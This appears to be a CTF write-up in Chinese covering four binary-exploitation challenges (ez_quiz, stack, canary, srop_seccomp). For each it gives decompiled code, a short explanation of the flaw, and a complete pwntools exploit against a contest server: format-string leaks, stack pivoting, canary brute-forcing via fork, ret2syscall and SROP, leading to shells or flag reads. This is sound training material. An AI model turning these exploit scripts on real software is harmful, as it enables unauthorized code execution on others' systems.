ez_quiz

可以发现程序分三个部分,第一个部分是一个base32的逻辑,第二个是一个表达式计算的逻辑,第三个是格式化字符串漏洞 + 栈溢出的逻辑,要先过了前两个逻辑才会走到存在漏洞的逻辑,程序还存在一个backdoor

int __cdecl main(int argc, const char **argv, const char **envp)
{
    unsigned int v3; // eax
    unsigned int v4; // eax
    unsigned int v5; // eax
    unsigned int v6; // eax
    unsigned __int8 v8; // [rsp+3h] [rbp-19Dh]
    unsigned __int8 v9; // [rsp+4h] [rbp-19Ch]
    unsigned __int8 v10; // [rsp+5h] [rbp-19Bh]
    unsigned __int8 v11; // [rsp+6h] [rbp-19Ah]
    unsigned __int8 v12; // [rsp+7h] [rbp-199h]
    int i; // [rsp+8h] [rbp-198h]
    unsigned int v14; // [rsp+10h] [rbp-190h]
    unsigned int v15; // [rsp+14h] [rbp-18Ch]
    char v16[8]; // [rsp+18h] [rbp-188h] BYREF
    char nptr[32]; // [rsp+20h] [rbp-180h] BYREF
    char v18[32]; // [rsp+40h] [rbp-160h] BYREF
    char v19[32]; // [rsp+60h] [rbp-140h] BYREF
    char input_data[64]; // [rsp+80h] [rbp-120h] BYREF
    __int64 v21[10]; // [rsp+C0h] [rbp-E0h] BYREF
    char v22[136]; // [rsp+110h] [rbp-90h] BYREF
    unsigned __int64 v23; // [rsp+198h] [rbp-8h]

    v23 = __readfsqword(0x28u);
    init(argc, argv, envp);
    signal(14, handler);
    v9 = 0;
    v10 = 0;
    v11 = 0;
    v12 = 0;
    qmemcpy(v21, "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC", sizeof(v21));
    v3 = time(0LL);
    srand(v3);
    v8 = rand() % 256;
    chal1(input_data, 64);
    if ( strlen(input_data) > 0x32 )
    {
        strcpy(v22, "Out of length.\n");
        v4 = strlen(v22);
        wr1te(1LL, v22, v4);
        exit(1);
    }
    encode(input_data, (__int64)v22);
    for ( i = 0; i < 160; ++i )
    {
        v8 = lfsr_h(v8);
        if ( i == 156 )
            v12 = v8;
        if ( i == 157 )
            v11 = v8;
        if ( i == 158 )
            v10 = v8;
        if ( i == 159 )
            v9 = v8;
    }
    if ( (unsigned int)cmp((__int64)v22, (__int64)v21, 0x50uLL) )
    {
        strcpy(v16, "Right!\n");
        alarm(2u);
        v5 = strlen(v16);
        wr1te(1LL, v16, v5);
        strcpy(v19, "Please solve this calculation:\n");
        v14 = (v9 - v10) * v11 % v12;
        printf("(( %d - %d ) * %d ) %% %d=?\n", v9, v10, v11, v12);
        fgets(nptr, 20, stdin);
        alarm(0);
        v15 = atoi(nptr);
        if ( v15 != v14 )
        {
            printf("You input:%d , but answer:%d", v15, v14);
            exit(1);
        }
        strcpy(v18, "Right! Here's your gift:\n");
        v6 = strlen(v18);
        wr1te(1LL, v18, v6);
        gift();
    }
    else
    {
        puts("Not Right");
    }
    return 0;
}
__int64 gift()
{
    char format[40]; // [rsp+0h] [rbp-30h] BYREF
    unsigned __int64 v2; // [rsp+28h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    gets(format);
    printf(format);
    fflush(stdout);
    return gets(format);
}

base32decode 得到token是DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

static const char base32_alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

int base32_lookup(char c) {
    if (c >= 'A' && c <= 'Z') return c - 'A';
    if (c >= '2' && c <= '7') return c - '2' + 26;
    return -1;
}

void __fastcall decode(char *encoded, char *decoded) {
    int buffer = 0;
    int bits_left = 0;
    int count = 0;
    int length = strlen(encoded);

    for (int i = 0; i < length; i++) {
        if (encoded[i] == '=') break; // Padding character

        int val = base32_lookup(encoded[i]);
        if (val == -1) continue; // Skip invalid characters

        buffer = (buffer << 5) | val;
        bits_left += 5;

        if (bits_left >= 8) {
            decoded[count++] = ~(char)((buffer >> (bits_left - 8)) & 0xFF);
            bits_left -= 8;
        }
    }
    decoded[count] = '\0';
}

int main() {
    char encoded[] = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC"; // Example encoded string
    char decoded[256];

    decode(encoded, decoded);

    printf("Decoded: %s\n", decoded);

    return 0;
}

式化字符串泄露canary和 elf相关的地址后,计算出backdoor的地址,之后栈溢出覆盖返回地址为backdoor就好了

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 30604

elf = context.binary = ELF('./attachment')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


ru("Please give me your token: ")

decoded_string = "DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}"
sl(decoded_string)

ru("(( ")
a = int(ru('-')[:-2])
b = int(ru(' )')[:-2])
ru('* ')
c = int(ru(' )')[:-2])
ru('% ')
d = int(ru('=')[:-1])

result = ((a - b) * c) %d
sl(str(result))

ru("Right! Here's your gift:\n")

payload = "--%11$p---%8$p"
# g(p)
sl(payload)
ru('--')
canary = int(r(18),16)
ru('---')
pie = int(r(14),16) - (0x62fadaae3bd7 - 0x62fadaae2000)

success(hex(canary))
success(hex(pie))


backdoor = pie + 0x0000000000001426
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(backdoor)
sl(payload)


p.interactive()

stack

没有泄露地址的逻辑,只能覆盖rbp 和 rbp + 8

int __cdecl main(int argc, const char **argv, const char **envp)
{
    char buf[256]; // [rsp+0h] [rbp-100h] BYREF

    inits();
    puts("Hello, CTFer, do you know how to stack pivoting?");
    read(0, buf, 0x110uLL);
    return 0;
}

但是仔细看的话会发现 通过这段gadget 配合控制rbp,就可以实现任意地址写,并且将栈迁移到一个已知的地址上,通过两次栈迁移就可以实现rop,第一次将rbp设置成bss中地址,ret设置成这个gadget,就会往bss里面写一段数据,写完后又可以leave ret一次。这样就可以实现rop了,同时rbp和rsp是在已知的地址。通过rop泄露libc地址然后回到main上再写一次rop,然后栈迁移过去执行 用system有些问题,直接用libc中的gadget来满足 onegadget的寄存器约束打one gadget就好了

.text:000000000040119B 48 8D 85 00 FF FF FF          lea     rax, [rbp+buf]
.text:00000000004011A2 BA 10 01 00 00                mov     edx, 110h                       ; nbytes
.text:00000000004011A7 48 89 C6                      mov     rsi, rax                        ; buf
.text:00000000004011AA BF 00 00 00 00                mov     edi, 0                          ; fd
.text:00000000004011AF B8 00 00 00 00                mov     eax, 0
.text:00000000004011B4 E8 C7 FE FF FF                call    _read
.text:00000000004011B4
.text:00000000004011B9 B8 00 00 00 00                mov     eax, 0
.text:00000000004011BE C9                            leave
.text:00000000004011BF C3                            retn
.text:00000000004011BF                               ; } // starts at 401176

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "challenge.qsnctf.com"
PORT = 31042

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()



rdi = 0x0000000000401210
rsi_r15 = 0x0000000000401281
leave_ret = 0x00000000004011be
rbp = 0x000000000040115d
bss = 0x404500

main = 0x401176
magic = 0x000000000040119B
magic2 = 0x4011aa
ret = 0x000000000040101a



sa("Hello, CTFer, do you know how to stack pivoting?",b'a' * 0x100 + p64(bss + 0x150) + p64(magic))

payload = p64(rdi) + p64(elf.got['puts']) + p64(elf.plt['puts'])
payload += p64(main)
payload = payload.ljust(0x100,b'\x00') + p64(0x404550 - 0x8)  + p64(leave_ret)
# g(p)
s(payload)

print(rl())
libc_base = u64(r(6).ljust(8,b'\x00')) - libc.sym['puts']
success(hex(libc_base))

binsh = libc_base + next(libc.search(b'/bin/sh'))
system = libc_base + libc.sym['system']


# 0xe3afe execve("/bin/sh", r15, r12)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [r12] == NULL || r12 == NULL

# 0xe3b01 execve("/bin/sh", r15, rdx)
# constraints:
#   [r15] == NULL || r15 == NULL
#   [rdx] == NULL || rdx == NULL

# 0xe3b04 execve("/bin/sh", rsi, rdx)
# constraints:
#   [rsi] == NULL || rsi == NULL
#   [rdx] == NULL || rdx == NULL


r12_r13_r14_r15 = 0x000000000040127c #: pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret


payload = p64(r12_r13_r14_r15) + p64(0) + p64(0) + p64(0) + p64(0) + p64(libc_base + 0xe3afe)
payload = payload.ljust(0x100,b'b') + p64(0x404468 - 0x8)  + p64(leave_ret)
# g(p)
sa("Hello, CTFer, do you know how to stack pivoting?",payload)


p.interactive()

canary

程序存在canary,存在一个fork的逻辑,可以通过这个fork的逻辑去爆破canary的值,canary的低位是 \x00,所以只需要爆破 256 * 7 次就能得到canary,之后ret2syscall就好了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rdx
  pid_t pid; // [rsp+Ch] [rbp-4h]

  setbuf(stdin, 0LL, envp);
  setbuf(stdout, 0LL, v3);
  while ( 1 )
  {
    pid = fork();
    if ( pid < 0 )
      break;
    if ( pid <= 0 )
      vuln();
    else
      wait(0LL);
  }
  return 0;
}
void __cdecl vuln()
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v1; // [rsp+108h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("please input:");
  read(0LL, buf, 512LL);
}

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 31368

elf = context.binary = ELF('./pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

rdi = 0x00000000004018c2
rsi = 0x000000000040f23e
rdx = 0x00000000004017cf
rax = 0x00000000004493d7 # pop rax ret
ret = 0x0000000000445613 #: sub rax, 1 ; ret

syscall = 0x00000000004012d3
read = 0x000000000448920 

puts = 0x411770

canary = b'\x00'

for i in range(7):
    for j in range(256):

        print(f"Trying byte {i+1} with value {j}")

        payload = b'a' * (0x110 - 0x8) + canary + bytes([j])
        

        ru("please input:\n")
        s(payload)
        line = p.recvline().strip()
        if b'please' in line:
            canary = canary  + bytes([j])
            print(f"Found byte {i+1}: {canary.hex()}")
            sl("AAA")
            break

success(canary)


bss = 0x4c1000

payload = b'a' * (0x110 - 0x8) + canary + b'a' * 8
payload += p64(rdi) + p64(0) + p64(rsi) + p64(bss) + p64(rdx) + p64(0x8)
payload += p64(read)

payload += p64(rdi) + p64(bss)
payload += p64(rsi) + p64(0) + p64(rdx) + p64(0) + p64(rax) + p64(0x3b)
payload += p64(syscall)


ru("please input:\n")

# gdb.attach(p)
s(payload)

time.sleep(0.1)
s(b"/bin/sh\x00")


p.interactive()

srop_seccomp

__int64 vuln()
{
    char v1[10]; // [rsp+6h] [rbp-2Ah] BYREF
    _QWORD v2[4]; // [rsp+10h] [rbp-20h] BYREF

    v2[0] = 'onk u oD';
    v2[1] = 'i tahw w';
    v2[2] = '\n?DIUS s';
    strcpy(v1, "easyhack\n");
    syscall(1LL, 1LL, v1, 9LL);
    syscall(0LL, 0LL, &unk_404060, 4096LL);
    syscall(1LL, 1LL, v2, 24LL);
    syscall(0LL, 0LL, v1, 0x3ALL);
    return 0LL;
}

有两个片段,配合起来可以实现srop,第一次read布置srop + syscall function实现的orw,第二次read 栈迁移过去执行就好了

.text:0000000000401186                               ; void sub_401186()
.text:0000000000401186                               sub_401186 proc near
.text:0000000000401186                               ; __unwind {
.text:0000000000401186 55                            push    rbp
.text:0000000000401187 48 89 E5                      mov     rbp, rsp
.text:000000000040118A 0F 05                         syscall                                 ; LINUX -
.text:000000000040118C 90                            nop
.text:000000000040118D 5D                            pop     rbp
.text:000000000040118E C3                            retn
.text:000000000040118E                               ; } // starts at 401186
.text:000000000040118E
.text:000000000040118E                               sub_401186 endp
.text:000000000040118E
.text:000000000040118F
.text:000000000040118F                               ; =============== S U B R O U T I N E =======================================
.text:000000000040118F
.text:000000000040118F                               ; Attributes: bp-based frame
.text:000000000040118F
.text:000000000040118F                               sub_40118F proc near
.text:000000000040118F                               ; __unwind {
.text:000000000040118F 55                            push    rbp
.text:0000000000401190 48 89 E5                      mov     rbp, rsp
.text:0000000000401193 48 C7 C0 0F 00 00 00          mov     rax, 0Fh
.text:000000000040119A C3                            retn

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "challenge.qsnctf.com"
PORT = 32685

elf = context.binary = ELF('./chall')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

mov_rax_0xf = 0x000000000401193
syscall = 0x000000000040118a
leave_ret = 0x000000000040136c
bss = 0x404000
input_data_addr = 0x404060

payload = p64(mov_rax_0xf) + p64(syscall)


# syscall chmod
sigframe = SigreturnFrame()
sigframe.rax = 2
sigframe.rdi = input_data_addr + 0x600
sigframe.rsi = 0
sigframe.rsp = 0x404168
sigframe.rip = syscall
payload += bytes(sigframe)
# syscall open
sigframe = SigreturnFrame()
sigframe.rax = 0
sigframe.rdi = 3
sigframe.rsi = bss
sigframe.rdx = 0x40
sigframe.rsp = 0x404278
sigframe.rip = syscall
payload += b'bbbbbbbb'
payload += p64(mov_rax_0xf) + p64(syscall)
payload += bytes(sigframe)

# syscall read
sigframe = SigreturnFrame()
sigframe.rax = 1
sigframe.rdi = 1
sigframe.rsi = bss
sigframe.rdx = 0x40
sigframe.rsp = 0x404388
sigframe.rip = syscall
payload += b'cccccccc'
payload += p64(mov_rax_0xf) + p64(syscall)
payload += bytes(sigframe)

payload = payload.ljust(0x600,b'a')
payload += b'./flag\x00\x00'

sla("easyhack",payload)

payload = b'a' * 0x2a + p64(input_data_addr - 0x8) + p64(leave_ret)
sa("Do u know what is SUID?",payload)

# sleep(2)



p.interactive()
⬆︎TOP